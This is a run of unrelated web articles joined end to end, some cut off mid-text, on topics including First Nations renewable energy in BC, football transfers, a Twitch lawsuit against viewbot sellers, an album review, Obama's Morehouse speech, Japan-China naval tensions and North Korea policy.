Although survey respondents overwhelmingly expressed an interest in greater involvement in the renewable energy sector, they also identified three primary barriers to increasing their involvement: limited opportunities to sell power to the grid via BC Hydro, difficulties obtaining financing and a lack of community readiness. All three of these can be overcome with political will and resources.
Perhaps the most urgent of these is the significant decline in BC Hydro’s interest in facilitating independent power production, which arises in part from the commitment to build the Site C dam, the most expensive public infrastructure project in the province’s history. As Site C will produce such a large amount of power (1,100MW), it forecloses any opportunities to produce alternative forms of power, and for communities (First Nations and others) to benefit from this power production.
Respondents to our survey expressed that they have projects that are “…still viable and feasible and desirable. We want them to proceed [as] we’ve invested a lot of time and energy in advancing our needs, what we need is BC Hydro to free up the opportunity.” These projects cannot be pursued until opportunities for power purchase are available from BC Hydro.
In this way, the development of Site C is a double blow to many First Nations: opposition on the part of those Nations directly affected by the dam is fierce,8 and many others see the dam as blocking the primary economic development opportunity available to them. First Nations are not alone in their opposition, of course; substantial concerns about the dam’s necessity,9 impacts,10 purpose,11 financial viability12 and the legitimacy of the approval process13 have been raised from a wide variety of sources.
Although Site C does offer a return to publicly owned electricity generation, it does not represent a sustainable or progressive path towards climate change mitigation. Site C is being developed to power a potential LNG industry that will be fed by fracked gas from Northeast BC. Most likely, Site C will produce a surplus of power when it comes online in 2024, halting the expansion of positive benefits that First Nations have accrued from developing renewable energy projects.
Unfortunately, Site C is not the only barrier to First Nations’ ambitions in this area; at the moment BC Hydro is awash with power, and predicting future demand is notoriously difficult. Much depends not only on whether any LNG projects are developed, but also on whether the shale gas industry continues without them as some have suggested it might,14 and what trajectory climate policy in the province takes. The electrification of sectors such as transportation, for example, has the potential to substantially transform electricity demand in the province.15 This makes it difficult to assess how much power will be needed, what prices the market will support, and thus what kinds of projects might be viable. However, this level of uncertainty—combined with the arrival of a new government—highlights the urgency for a new policy framework for renewable energy development in the province.
Beyond smaller-scale private versus mega-scale public development models
Those wanting energy systems in BC to contribute to a sustainable, equitable and just society have struggled with a troubling pair of options: on one hand, privately owned renewable infrastructure that channels profits from exploiting a public resource to corporations, and on the other hand, large-scale state-owned energy infrastructure that perpetuates the dispossession of First Nations and facilitates industrial development that is detrimental to a healthy climate. In the intervening years—as First Nations gained traction in renewable energy development and the unjust and risky nature of Site C became ever more apparent—other options have come into focus.
Part of the previous provincial government’s argument for the need to privatize energy development was that the public sector simply couldn’t develop enough diverse, small- to medium-scale renewable energy projects at the rate required to mitigate climate change. However, First Nations now appear ready to step up to this challenge, and there is no reason other communities couldn’t also be encouraged on this path. We are no longer stuck between two unpalatable alternatives.
Instead, public policy could prioritize and facilitate the development of renewable energy projects that are First Nation or community-owned. A supportive policy framework could be developed that acknowledges the social, economic, and environmental value of these projects: mandates could be developed requiring meaningful equity involvement—or indeed full ownership—for First Nations or local communities; dedicated Electricity Purchasing Agreement targets for First Nations or community-led projects could be set aside, as they do in New Brunswick; BC Hydro could be allowed to develop projects jointly with First Nations, as they are doing in Manitoba, where the provincial utility Manitoba Hydro has partnered with First Nations to build two large dams.
Investing even a small portion of the funds allocated to Site C would lead to substantial progress in relation to the other two barriers: difficulty obtaining financing and community capacity building. Fortunately, there are good examples from other jurisdictions of different models for tackling financing issues, and of promising projects underway to build capacity in the sector.16 The Northwest Territories supports financing small-scale projects developed by residents, businesses, communities and First Nations through an Alternative Energy Technologies Program that funds 50% of project costs. Nova Scotia’s Community Economic Development Investment Fund helps community groups access low-cost loans.
Shifting policy and addressing these barriers would unleash the potential for First Nations—and possibly other communities—to build projects with technologies and at scales that work for their communities.
A moment of opportunity
Action on climate change will require electrification of transportation, homes and buildings, to transition away from burning fossil fuels.17 While energy conservation (i.e. managing demand for electricity) has a pivotal role to play in this transition, new power production will still be required.18 With a new government in power that has committed to both climate action and reconciliation, we are at a moment of opportunity for First Nations-led development of renewable energy in BC.
As a survey respondent expressed, “This is the only sector that offers any hope of current and future economic opportunities.”
Another emphasized, “We believe that renewable energy is an important piece to allowing our Nation to be able to go back to the Traditional Territories and maintain a presence there.”
Instead of proceeding with Site C, BC has an opportunity to produce what new power will be needed through a model of energy system development that takes advantage of emerging cost effective technologies and public ownership at a community scale. Doing so would enable an energy system that can be scaled up incrementally as demand projections increase. It would also ensure the benefits energy projects are channelled to communities impacted by their development, and help respond to past injustices of energy development in our province.
Choosing this path would result in a more distributed energy system, more resilient and empowered communities, a more diverse economy and a more just path towards climate change mitigation. And it would support First Nations to lead in an industry in which they have already built substantial momentum. The groundwork has been laid for moving towards a more diverse and equitable economy, should we choose to support it.
Notes
—
This report is published as part of the Corporate Mapping Project, a research and public engagement initiative investigating the power of the fossil fuel industry. This research is supported by the Social Science and Humanities Research Council of Canada (SSHRC).
Topics: Climate change & energy policy, Economy, Environment, resources & sustainability, Features, First Nations & IndigenousTottenham boss Mauricio Pochettino remains patient over transfers and says: “We always spend at the end of the window.”
Speaking to Sky Sports at today’s Premier League launch Pochettino reiterated his aim to only add players to his squad who can challenge his first XI.
Spurs, who have sold Kyle Walker to Man City, are the only Premier League club yet to make a summer signing as they prepare for Sunday’s Premier League opener at Newcastle.
Pochettino though is of the belief that the club will make quality additions later in the month.
“We need players who can challenge our starting XI, players who believe in themselves and think: ‘OK, I can challenge Dele Alli, I can challenge Harry Kane,” said Pochettino.
“Harry Kane knows very well from when he was behind [Roberto] Soldado and [Emmanuel] Adebayor what happens when you’re not focused for a moment, if another player is behind you pushing for a chance if you don’t give your best.
“You cannot guarantee that they [new signings] will play, but you can guarantee the tools to challenge our current players. If they are better and they deserve to play, they will play.”
“If you look at the history of Tottenham in the last few years, we always spend at the end of the window.
“Chairman Daniel Levy is working hard with the chief scout [Steve Hitchen], we are working hard to deliver and try to add the strength we need to fight in four competitions next season.
“It’s not an easy job,” added Pochettino, who remains confident the club will recruit wisely. “We will find the right players to challenge.”Some bots are helpful, like Facebook's NBA bot, which finds your favorite footage so you don't have to. Other bots mean well even if they fail spectacularly, like Microsoft's Tay. And then there are the cheating bots, which artificially boost follower counts and advertising clicks.
The popular game-streaming platform Twitch today declared war on the last kind by suing seven of the most active sellers of viewbot services in federal court. The complaint alleges that the companies engage in cybersquatting, trademark infringement, and computer fraud, among other charges.
"We at Twitch are well aware that view-bots, follow-bots, and chat-impersonation bots are a persistent frustration," the company's marketing VP Matthew DiPietro wrote in a blog post. "Exploited by a small minority, these services have created a very real problem that has damaging effects across our entire community."
The defendants named in the lawsuit peddle their bot services through websites with rather obvious names, like "TwitchViewerBot.com" and "StreamViewers.com." One defendant, Erik Bouchouev, operates five separate websites, offering bot packages that range from $9.99 per month for 75 viewers to $38.99 per month for 475 viewers, according to the complaint.
"These deceptive actions inflate viewer statistics for some channels while harming legitimate broadcaster channels by decreasing their discoverability," Twitch argued in the complaint. "That, in turn, hurts the quality of the experience community members have come to expect from Twitch."
In addition to asking the court to shut the bot services down, Twitch is also seeking unspecified restitution and damages.
The company says the court case is the latest part of its ongoing crusade to eradicate artificial bots from its network. It also uses "technological solutions" to detect false viewers and remove them, and encourages users to report suspected bots to its moderators and customer support reps.Manic Street Preachers Send Away the Tigers
10th Anniversary Edition
Throw away your yesterdays / I did it all for you Send Away the Tigers, 2007.
I wont lie. I distinctly remember post-Lifeblood really not being massively into the Manics. Which seems absurd now because when I listen to Lifeblood over a decade later, I hear nothing but brilliance. But anyway, all my fears had become true. The one thing that Id been clinging onto was a lie, those Manic Street Preachers were actually a bit like what all these people had been telling me for ages. Namely, not all that great. Which from my viewpoint as a broken anxiety ridden fuck-up was devastating. Naturally, I cried buckets for months.
So, it was a great relief when they released their Second Great Comeback album, Send Away the Tigers, in 2007. Here they were full of what made the Manics great, namely balls out euphoric rock. It even returned them to the almost-top of the UK album and singles chart at number 2 (seemingly their glass ceiling position) with Your Love Alone Is Not Enough. Everything was right with the world again. This is the album which, perhaps even more than Everything Must Go, likely stands as a real testament to the longevity and persistence of a band who a year before were seemingly on the verge of irrelevance. If this album had failed, I dont think we would have ever got Journal for Plague Lovers which would be a travesty.
Re-appraising Send Away the Tigers ten years after the initial release demonstrates a few important things. Looking back now, there is no way really that this album couldnt have succeeded. The confidence in its sound and production is incredible. On this album, it is clear that the Manics know exactly who they are, something that was sorely lacking throughout the Know Your Enemy Lifeblood era. They seemed determined to try and be someone else during that time. But on Send Away the Tigers, it appears they just looked back and thought shit, what have we been doing? Were fucking awesome at this stuff, so lets just do what were good at. And it worked. For the first time since This Is My Truth, they were even putting out cracking B-sides (Love Letter to The Future, Welcome to The Dead Zone, and Boxes and Lists in particular).
The re-release re-jigs the track list slightly from the original release. Gone is the (admittedly shoddy) Underdogs from the main track list instead replaced with Welcome to The Dead Zone. Also, their cover of John Lennons Working Class Hero is now listed as the closing track on the main album proper whilst previously appearing as an uncredited hidden track at the end. In terms of the singles from the album, Your Love Alone featuring Nina Persson was an obvious hit. God, it was great to hear them on the radio again. Autumnsong is a song which I know gets a lot of stick from Manics fans but as a single, it is a perfect choice. Remember, Nicky Wire is obsessed with singles. Mad for them. Indian Summer probably shouldnt have been a single but was chosen, perhaps mainly since it almost self-plagiarises the riff from A Design for Life. Other than the singles, Rendition, Imperial Bodybags and the great lost-single-that-never-was, I Am Just a Patsy all hold up to the record's high standard.
This album seemed to exude a confidence in the band visually too. The package looks beautiful itself. Without even listening to the record, you can tell it is going to be an uplifting, commercial record. It even saw a return to the all-important backwards R preferred text formatting of Manics fans from the Holy Bible era. These things seemed very important to me at the time. Because Im mental, obviously.
So, do you need to buy this re-release? Well, not really if you have the original album. But if you are into B-sides and demo versions and that kind of thing, then the deluxe edition is a must. It contains all the associated B sides and extra songs from the era (including the brilliantly awful Christmas single, The Ghost of Christmas, and their really rather great cover of Rihannas Umbrella).
More than anything though, it made me realise what a cracking little gem this album is. Its not one I would usually think of if people ask me to recommend Manics albums, but on closer inspection, perhaps thats more a symptom of where I was at the time. It was nice to rediscover parts of it to be honest. Definitely one to be proud of.
Words: Richard BullA former Wichita police officer has been sentenced to one year of probation for conspiring to bribe a car-theft victim in an unsuccessful effort to keep her job.
The U.S. Attorney's office says 35-year-old Joletta Vallejo was sentenced Monday in federal court in Wichita, where she pleaded guilty in August to conspiracy to commit wire fraud.
Vallejo admitted failing to follow procedures when two citizens reported being victims of crimes, then lying to department investigators about her actions. She also admitted arranging for co-defendant Patrick Melendrez to pay the car-theft victim $150 to recant his statement about her actions plus $150 if she kept her job.
Melendrez was sentenced earlier to two years of probation.
Vallejo served with the police department from January 2006 to August 2012.Roma defender Mehdi Benatia is keen to move to England this summer (Picture: AFP/Getty Images)
Roma defender Mehdi Benatia is reportedly eyeing a move to Chelsea this summer – after having previously snubbed the chance to sign for the Blues earlier in his career.
The 27-year-old has been linked with several clubs, including Manchester City, who were believed to want Benatia as a back-up option for their first-choice defensive target, Porto’s Eliaquim Mangala.
However, with City seemingly days away from completing the £32m signing of Mangala, Italian publication Gazetta dello Sport has reported that Benatia is keen to link up with Blues boss Jose Mourinho – with the centre-back believed to be valued at £30m by Roma.
Benatia came close to playing under the Portuguese tactician earlier in his career when he rejected a move to Chelsea from Marseille during Mourinho’s first spell in charge at Stamford Bridge because of fears over homesickness.
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Benatia went on to play for a number of different French sides before eventually leaving his country of birth for Italian club Udinese in 2010.
His impressive performances for the side resulted in a move to Roma in 2013, where Benatia has since developed into one of the finest defenders in Serie A.
MORE: Tottenham’s Jan Vertonghen being ‘tracked’ by BarcelonaFLOWERY BRANCH, Ga. -- Devin Hester didn't exactly beg for the opportunity, but the Atlanta Falcons receiver admitted he was anxious for offensive coordinator Dirk Koetter's call to 10 personnel.
Such a look with four wide receivers -- Julio Jones, Roddy White, Harry Douglas, and Hester -- and just one running back was extremely effective for the Falcons in their 37-34 overtime win against the New Orleans Saints.
"It's just a great opportunity to get more explosive guys on the field," Hester said Wednesday. "When you do stuff like that, it creates havoc for the defense. Defenses are not really used to offenses that run four wide. And now that we showed it, it's going to take up a lot of attention in their meeting rooms that they have to concentrate on more four wides."
The Falcons used such an alignment on 19 plays. The eight plays run in the setup on third down included a 35-yard connection between Matt Ryan and Hester on third-and-8 on a drive that resulted in White's 2-yard touchdown catch. On the seven pass plays in 10 personnel on first down, the Falcons gained an average of 13.8 yards per play.
Among the four plays using four wides on second down was a 23-yard Ryan to Douglas connection on second-and-7 that set up Jacquizz Rodgers' 17-yard touchdown run. Another was a 17-yard run by Steven Jackson up the middle on second-and-15, proving that spreading out the defense can open things up for the run. Such a concept might be an effective strategy for the Falcons going into Week 2, particularly with their foursome of capable running backs.
Some of the Saints players mentioned after the game how they were taken off guard by the Falcons' 10-personnel look.
"It worked really good," Koetter said. "I have never in my career been much of 10-personnel guy. Obviously, when we had Tony [Gonzalez] here, our philosophy was it's tough to put a fourth wide receiver in and take the best tight end to ever play off the field. The acquiring of Devin Hester and the fact that Devin has done such a good job of assimilating himself into the system, now we do have our explosive wide receivers.
"We started with a very small package. It's going to grow all the time."
Whether it grows this week depends on a variety of factors.The strong possibility of playing without rookie left tackle Jake Matthews (ankle) might mean the Falcons will keep their tight ends in to chip block, throwing off the whole 10-personnel concept. Plus the defensive coverage from the Bengals, of course, might dictate a different offensive attack for Koetter and the Falcons.
Bengals coach Marvin Lewis is fully aware of what the Falcons are capable of accomplishing with their four-wide sets.
"Well, they've been pretty dynamic when they use four wide receivers," Lewis said. "They put two guys inside that can make plays where they put them. Their guys are all guys that have a lot of talent and ability. They're all good run-after-catch players, so you've got to do a great job against them."Watch below the Inspiring Speech of U.S President Barack Obama at the Morehouse College commencement ceremony in the year 2013.
Obama is talking about the issues of race, inequality, and “breaking the cycle” of absent fathers in this commencement address.
Read below the Transcript of his speech.
I have to say that it is one of the great honors of my life to be able to address this gathering here today. I want to thank Dr. Wilson for his outstanding leadership, and the Board of Trustees. We have Congressman Cedric Richmond and Sanford Bishop — both proud alumni of this school, as well as Congressman Hank Johnson. And one of my dear friends and a great inspiration to us all — the great John Lewis is here. (Applause.) We have your outstanding Mayor, Mr. Kasim Reed, in the house. (Applause.)
To all the members of the Morehouse family. And most of all, congratulations to this distinguished group of Morehouse Men — the Class of 2013. (Applause.)
I have to say that it’s a little hard to follow — not Dr. Wilson, but a skinny guy with a funny name. (Laughter.) Betsegaw Tadele — he’s going to be doing something.
I also have to say that you all are going to get wet. (Laughter.) And I’d be out there with you if I could. (Laughter.) But Secret Service gets nervous. (Laughter.) So I’m going to have to stay here, dry. (Laughter.) But know that I’m there with you in spirit. (Laughter.)
Some of you are graduating summa cum laude. (Applause.) Some of you are graduating magna cum laude. (Applause.) I know some of you are just graduating, “thank you, Lordy.” (Laughter and applause.) That’s appropriate because it’s a Sunday. (Laughter.)
I see some moms and grandmas here, aunts, in their Sunday best — although they are upset about their hair getting messed up. (Laughter.) Michelle would not be sitting in the rain. (Laughter.) She has taught me about hair. (Laughter.)
I want to congratulate all of you — the parents, the grandparents, the brothers and sisters, the family and friends who supported these young men in so many ways. This is your day, as well. Just think about it — your sons, your brothers, your nephews — they spent the last four years far from home and close to Spelman, and yet they are still here today. (Applause.) So you’ve done something right. Graduates, give a big round of applause to your family for everything that they’ve done for you. (Applause.)
I know that some of you had to wait in long lines to get into today’s ceremony. And I would apologize, but it did not have anything to do with security. Those graduates just wanted you to know what it’s like to register for classes here. (Laughter and applause.) And this time of year brings a different kind of stress — every senior stopping by Gloster Hall over the past week making sure your name was actually on the list of students who met all the graduation requirements. (Applause.) If it wasn’t on the list, you had to figure out why. Was it that library book you lent to that trifling roommate who didn’t return it? (Laughter.) Was it Dr. Johnson’s policy class? (Applause.) Did you get enough Crown Forum credits? (Applause.)
On that last point, I’m going to exercise my power as President to declare this speech sufficient Crown Forum credits for any otherwise eligible student to graduate. That is my graduation gift to you. (Applause.) You have a special dispensation.
Now, graduates, I am humbled to stand here with all of you as an honorary Morehouse Man. (Applause.) I finally made it. (Laughter.) And as I do, I’m mindful of an old saying: “You can always tell a Morehouse Man — (applause) — but you can’t tell him much.” (Applause.) And that makes my task a little more difficult, I suppose. But I think it also reflects the sense of pride that’s always been part of this school’s tradition.
Benjamin Mays, who served as the president of Morehouse for almost |
baseball will limit the ability of the sport to expand in the south. Men’s soccer could be the next wrestling; pushing a proposal that says greater investment is the only way to keep the sport relevant could easily backfire, drawing the wrong sort of attention.
At this point is still a valuable part of the development system and has enough teams playing attractive soccer to regularly make it fun to watch. Through some combination of willful collusion and historical accidents, we provide a free elite development system to many sports at a critical point in an athlete’s career. Some rules like college soccer’s clock that counts down and stops during the game and sudden-death overtimes are appropriate ways to “Americanize” the game while FIFA should study the NCAA’s liberal substitution policies to address the concussion issues which came to the fore at the World Cup.
Despite all that, college soccer is being squeezed out of the US Soccer pyramid. And a proposal to fix that which makes the sport more expensive and has athletes spending more hours on athletic activities is a nonstarter in the NCAA’s present or near future environment.
Auburn University Montgomery Sports Recruiting.Man’s roaming eyes spark mob beat down in SF’s Dolores Park
A mob attacked a man Wednesday night San Francisco’s Delores Park after he allegedly looked at the girlfriend of one of the attackers. A mob attacked a man Wednesday night San Francisco’s Delores Park after he allegedly looked at the girlfriend of one of the attackers. Photo: Michael Short, Special To The Chronicle Buy photo Photo: Michael Short, Special To The Chronicle Image 1 of / 1 Caption Close Man’s roaming eyes spark mob beat down in SF’s Dolores Park 1 / 1 Back to Gallery
A mob beat up a man in San Francisco’s Dolores Park for looking at the girlfriend of one of his attackers, police said Thursday.
The man suffered non-life-threatening contusions to his head and a cut above his eyes, police said. The group ran away before police could detain anyone.
The attack began just before 9 p.m. Wednesday, when a group of 10 people approached the victim, and one accused him of making eyes at the girlfriend, officials said. Five men in the group proceeded to punch the victim in the face and one used a lanyard with keys to strike him.
As the man tried to run away, he tripped and fell. The mob then repeatedly kicked him while he was on the ground, police said.
The group, which included several teenagers, ran east on 19th Street, police said. The victim was transported to a nearby hospital for treatment.
Kimberly Veklerov is a San Francisco Chronicle staff writer. Email: kveklerov@sfchronicle.com Twitter: @kveklerov55User Rating: 5 out of 5
Review title of Lawrence The Best I've found for Windows
You can flip the card, making it perfect for language study, and you can record onto either side of the card, again very useful for studying a new language. The card size for handwritten entry, which is how I make my cards, is big, unlike the tiny cards in another program. In short, it is the first Windows app that does everything I need it to in a flash card program. I do wish it did not distort handwriting, adding little tails by cursive or printed text. No other programs I use on the Surface Pro 4 does that, and though it is not a deal breaker, it is annoying. I do wish there were an Android version so I could synch cards between the Surface and my Samsung tablet. It's not an either/or proposition for some of us.Italian banking conglomerate Banca Intesa Sanpaolo has tested a bitcoin blockchain-based tool as part of a bid to validate trading data.
The bank, along with Deloitte and startup Eternity Wall, began testing the new proof-of-concept late last year.
At the heart of the project is the open-source OpenTimestamps protocol, developed by Bitcoin Core contributor Peter Todd, which Eternity Wall later moved to implement. It uses the bitcoin blockchain as means to notarize transactions, creating a publicly available record trail for later referral.
Carlo Brezigia, information security officer for the bank, explained:
“Relevant data has been hashed to produce a short unique identifier – a digest – equivalent to its digital fingerprint. This fingerprint has been associated to a blockchain transaction and hence registered on the blockchain: the blockchain immutability provides robust non-refutable timestamping that will always prove without any doubt the existence of that data in that specific status at that precise moment in time.”
The bank tested the tool between October and February, according to Deloitte, and the firm said that future plans include support for multiple blockchains, potentially including private ones.
The trial notably showcases a willingness on the part of a regulated financial institution to experiment with a public blockchain. In a statement, Gianni Cavallina, the bank’s retail innovation accelerator officer, spoke to both the interest in testing such protocols beyond the use case of digital currency.
“In particular, considering public blockchains, we are exploring the applicability of different use cases, abstracting from the value of its native digital currency. Notarization is one of the most interesting application[s],” Cavallina said.
Intesa Sanpaolo – a member of the R3 distributed ledger consortium – has tested a number of blockchain use cases in the past, including trade finance and digital identity.
Image via Shutterstock
Correction: Grammatical errorTOKYO Japan and China are trading a new round of criticism after Japanese military aircraft spotted seven Chinese warships in waters off a southern island not far from a chain of isles at the center of a heated territory dispute. China said the ships were on a routine training mission.
The Chinese ships were sighted Tuesday about 30 miles from the island of Yonaguni, in Japan's Okinawa prefecture, according to Japan's Defense Ministry. They were about 125 miles from a chain of small islands that have sparked a heated dispute between Japan and China.
The ships were believed to be returning to China after training in the Pacific. Japan's Defense Ministry on Wednesday said the ships were not headed for the disputed islands, but said it was the first time the Chinese navy has been spotted using the narrow sea passage near Yonaguni.
Defense Minister Satoshi Morimoto said Japan is monitoring the ships' movement. Japan considers the area part of its contiguous waters, but it is not illegal for foreign vessels to transit them.
It is not unusual for the Chinese navy to transit waters around Okinawa en route to the Pacific, but they usually go through wider straits. The ships included frigates, a guided missile destroyer, a supply ship and two submarine rescue vessels.
Defense Ministry officials said the ships might have been trying to avoid an approaching typhoon.
China's Defense Ministry said the ships were on a scheduled cruising exercise and were acting in a manner that was "appropriate and legal."
Underscoring China's sharper stance, it also protested the scrambling of a Japanese military plane in the direction of the disputed islands, calling that a "gross violation" of Chinese sovereign rights.
"The Chinese military is closely following the actions of the Japanese side and demands Japan halt all actions complicating or escalating the situation," the ministry said in a short statement on its website.
Japan angered China last month by nationalizing part of the chain of uninhabited East China Sea islands called Senkaku in Japanese and Diaoyu in Chinese. The move sparked violent protests in China.
Chief Cabinet Secretary Osamu Fujimura said Tokyo has urged Beijing to "avoid any actions that would go counter to the mutual benefit."
Nearby Taiwan also claims the islands, which are uninhabited but surrounded by rich fishing grounds and possibly lucrative undersea energy deposits.
China and Japan have recently stepped up naval activities in the area around Okinawa because of the dispute, but there have been no clashes between their warships, which have generally stayed away from the disputed islands themselves.
Wary of missteps that could lead to a sudden escalation of tensions, the countries have instead sent less threatening coast guard ships. Over the past week, however, both have made a point of showing off their naval prowess.
Chinese websites were abuzz Monday with photographs of navy pilots practicing touch-and-go landing exercises on China's first aircraft carrier. It wasn't clear when the pictures were taken, and they did not appear on the Defense Ministry's website or in official media.
The carrier was launched last month without aircraft or an accompanying battle group, and actual flight operations could be years away. But it is widely seen as a symbol of China's ambitions to be a leading Asian naval power, especially as it faces sharpening territorial conflicts with Japan and other countries.
Japan's navy, meanwhile, marked its 60th anniversary with a major exercise on Sunday. Japan also plans to hold a joint exercise with the U.S. military later this year, reportedly using a scenario of taking a remote island back from a foreign intruder.
Asked how China sees the reported scenario, Chinese Foreign Ministry spokesman Hong Lei said, "To maintain the peace and stability of Asia-Pacific is beneficial to all sides." He added: "Increasing tension is against the bigger trends of regional security, peace and the buildup of political and security trust. We reserve the right to take further action."
Defense Minister Morimoto declined to confirm the scenario or give other details.
In Sunday's exercise, about 40 ships - including state-of-the-art destroyers, hovercraft able to launch assaults on rough coastlines and new conventionally powered submarines - took part in Fleet Review 2012, the maritime equivalent of a military parade.
About 30 naval aircraft, mostly helicopters, also participated. For the first time, Japan's navy was joined by warships from the United States, Singapore and Australia. Representatives from more than 20 countries, including China, attended the event staged in waters south of Tokyo.The Christian Reformed Church’s Office of Social Justice (OSJ) is calling on church members who live in the United States to contact their senators in support of a bill that would ban abortions after 20 weeks of gestation.
Known as the Pain-Capable Unborn Child Act (H.R. 36), the bill passed in the House of Representatives on October 3 and has gone on to the U.S. Senate, where it is now in committee. The bill would penalize those who perform abortions after 20 weeks’ gestation, not the women attempting to have them. Violators would be subject to criminal penalties of a fine, up to five years in prison, or both. The bill provides exceptions for an abortion (1) that is necessary to save the life of the pregnant woman, or (2) when the pregnancy is the result of rape or incest.
According to the OSJ action alert, this is the third time the bill has made its way to the Senate, having failed both times prior. It suggests emailing senators a message affirming the sanctity of all human life and urging a vote in favor of the legislation.
The CRC’s official position on abortion is that all human beings are image-bearers of God and goes on to say that “the church condemns the wanton or arbitrary destruction of any human being at any stage of its development from the point of conception to the point of death. The church affirms that an induced abortion is an allowable option only when the life of the mother-to-be is genuinely threatened by the continuation of the pregnancy.” The church also calls believers “to show Christian compassion and to offer support to those experiencing unwanted pregnancies as well as to those who have undergone abortions.”
That position was adopted by synod (the annual leadership meeting of the CRC) in 1972. Synod 1997 reaffirmed that position and condemned the practice of partial-birth abortion. Synod 2010 instructed the Office of Social Justice “to boldly advocate for the church’s position against abortion, and to help equip churches to promote the sanctity of human life.”
CRC executive director Steven Timmermans said, “Legalized abortion has been with us so long, we may find ourselves slipping into complacency. Yet our witness and work must remain strong in promoting life for the unborn.” He added, “We need to remember, too, our advocacy for life doesn’t end at birth but should draw us into promoting a wide range of efforts in obedience to our and all of humanity’s Creator.”Posted by Lethality in News | 5 Comments
Another sign that release of Star Wars: The Old Republic is imminent: game cards are now available for purchase!
Amazon is currently offering a 60-day game card for $29.99. There doesn’t yet appear to be 30-day or other options available, but we assume that these other denominations will come soon.
Game cards are great if you don’t want to or cannot use a credit card to pay for your game time. These cards would also make a great holiday gift for the TOR fan in your life (along with any of the others on this list we put together!)
Thanks to the sleuths at TOROcast for diggining this info up! Pay ’em a visit for one of the most entertaining TOR podcasts around, plus a great community!Image via Wikipedia
Saying "being a woman in music is hard" is so obvious it's like pointing out that, well, being a woman in music is hard. Anyone who has every played in a band, been to a show, or spent time in that environment knows the hyper-masculine scene is regularly riddled with creepy dudes and unwanted advances.
As a women who has played in bands for years, Amber Coffman of Dirty Projectors knows this better than anyone. Yesterday, she decided to call bullshit and make her own experience of sexual misconduct at work very public. She took to Twitter and shared experience with a music publicist that had taken place years earlier. She soon found out it that was a pretty regular night for him.
Was just re-telling/re-remembering a story abt how a very popular music publicist RUBBED my ass and BIT my hair at a bar a couple years ago — Amber Coffman (@Amber_Coffman) January 19, 2016
Across a series of posts, she discussed both her revulsion with him, and her disappointment in herself for not punching him in the face. Amber, like so many women, was angry. Not just that he did it, but that he had faced no consequences and—at the time of her first Tweet—was still enjoying a massive amount of professional success.
Knowing there was one sure way to make him accountable, she named him: "It was Heathcliff Berru, at Life or Death PR and MGMT". Life or Death was founded by Heathcliff, and represented D'Angelo, Earl Sweatshirt, DIIV, Kelela, and Killer Mike among others.
Not content to leave it there, Amber went on to point out that Berru's actions were not only widely known, but also ignored as "dudes overlook it and keep hiring him". Finally adding she was "Tired of sketchy ass dudes and sexual predators getting a pass from their 'bros.' Grow a spine and hold your friends accountable."
Her statement had an immediate and tangible impact, with Bethany Cosentino from Best Coast's replying that she'd had a similar experience with Berru, and also been too freaked out to say anything. Soon the conversation exploded as more women joined in and increasingly violent episodes of assault were revealed.
@Amber_Coffman good for you for doing this. I was too freaked out to ever say anything. Seriously he's not a good person on any level. — Best Coast (@BestCoast) January 19, 2016
After Amber shared her experience with Berru her label, Domino, stopped working with him. She explained: "They told me they've held their commitment of not working with him ever since, and I really appreciate that gesture," continuing, "More should follow suit."
With other public figures like Deradoorian, Tearist and former MTV host Shirley Braha coming forward on Twitter with their own experiences, it appeared that the issue was finally too visible to be continue to be ignored. Wavves was Life and Death's first client to end their relationship with his agency in the wake of the revelations, with Kelela leaving soon after. Sadie Dupuis of Speedy Oritz (who have worked with Life and Death) also Tweeted that they will also no longer work with them.
Then, late Monday afternoon Life or Death PR issued a statement saying that Heathcliff Berru had stepped down as CEO. After so many women kept quiet for so many years, social media's ability to connect and support them allowed them to topple Berru in a day. A decade of seeming industry-driven untouchability proved chalky in the face of Twitter.
The story echoes numerous other situations that have played out on social media in the past year—demonstrating not only the difference one person speaking out can make, but also how far we've come as a receptive and supportive audience.
Since the 60s, rumours of Bill Cosby's sexual misconduct reverberated around him. But his celebrity, and the women he assaulted's isolation from one another meant it took almost five decades for the public to become engaged with that narrative. Even then, it was when one person, Hannibal Buress, spoke out and a clip of it was shared on YouTube.
In stark contrast to the Cosby situation, when Stoya used Twitter to speak about her own experiences of sexual violence at the hands of her ex-boyfriend James Deen, the public responded immediately. Not only were other women able to tell their own stories, but the majority public response rolled in support of Stoya. Within weeks James Deen had become widely boycotted within the industry.
It took 24 hours for Amber to see the result that she, and so many other women, should have been afforded years ago. And while it's late, it's also uplifting that as an audience, our response to someone taking a stand over has become so efficient and supportive.
Credits
Words Wendy Syfret
Image via WikicommonsSeveral media outlets have reported that Gen. Joseph Dunford, chairman of the Joint Chiefs of Staff, said over the weekend that war with North Korea was not “unimaginable.” What has gone unreported is that he also suggested the administration is giving diplomacy only “a few more months.”
Dunford’s comments, sure to be heard in Beijing and Pyongyang, come as the Trump administration is hinting, with various degrees of subtlety, that it is willing to kill Kim Jong Un, the North Korean despot.
First, Dunford. “As I’ve told my counterparts, both friend and foe, it is not unimaginable to have military options to respond to North Korean nuclear capability,” he said at the Aspen Security Forum in a conversation with NBC’s Andrea Mitchell. “What’s unimaginable to me is allowing a capability that would allow a nuclear weapon to land in Denver, Colorado. That’s unimaginable to me. And so my job will be to develop military options to make sure that doesn’t happen.”
Headline grabbing? Yes. Groundbreaking? Not really.
Many analysts and officials, especially after the July 4 test of an intercontinental ballistic missile, have said Kim cannot be allowed to develop the capability to nuke the American homeland.
Far more important is what Dunford said next. Mitchell mentioned that at another Aspen session James Clapper, the former director of national intelligence, said that Kim would never give up his nuclear weapons. Dunford responded this way:
“I think that has certainly been conventional wisdom. When Secretary [of State Rex] Tillerson came in, in the intelligence communities the general assessment was, and it has been public, that Kim Jong Un views his existence as inextricably linked to nuclear weapons and China will never cooperate. So those are the two things that everybody has basically said. That’s conventional wisdom of North Korea. So where does that leave us? Leaves us what, to a military option.”
And then came the lines probably intended more for Chinese and North Korean ears than American ones:
“So I think for all of us, we should give Secretary Tillerson full support in attempting to resolve this diplomatically and economically even as we recognize that it may not happen, and there may have to be a follow-up option, which is the military option. We can wring our hands and say it will never happen or we can roll up our sleeves and make an effort to have a concerted economic and diplomatic plan that does cause KJU, Kim Jong Un, to come to the table and begin to have a conversation, at least stop the path that he’s on right now, which is further development of intercontinental ballistic missiles and nuclear capability, and to me it makes all the sense in the world to prove the theory of the case and to work this for a few more months.”
Dunford’s comments about timing do not appear to be a slip of the tongue. He also made it clear, at the beginning of his conversation with Mitchell, that time was in short supply. “North Korea today, from a ‘sense of urgency’ perspective, would be our number one challenge,” he said in remarks the Defense Department highlighted in its account of the Aspen event.
So what happens in “a few more months”?
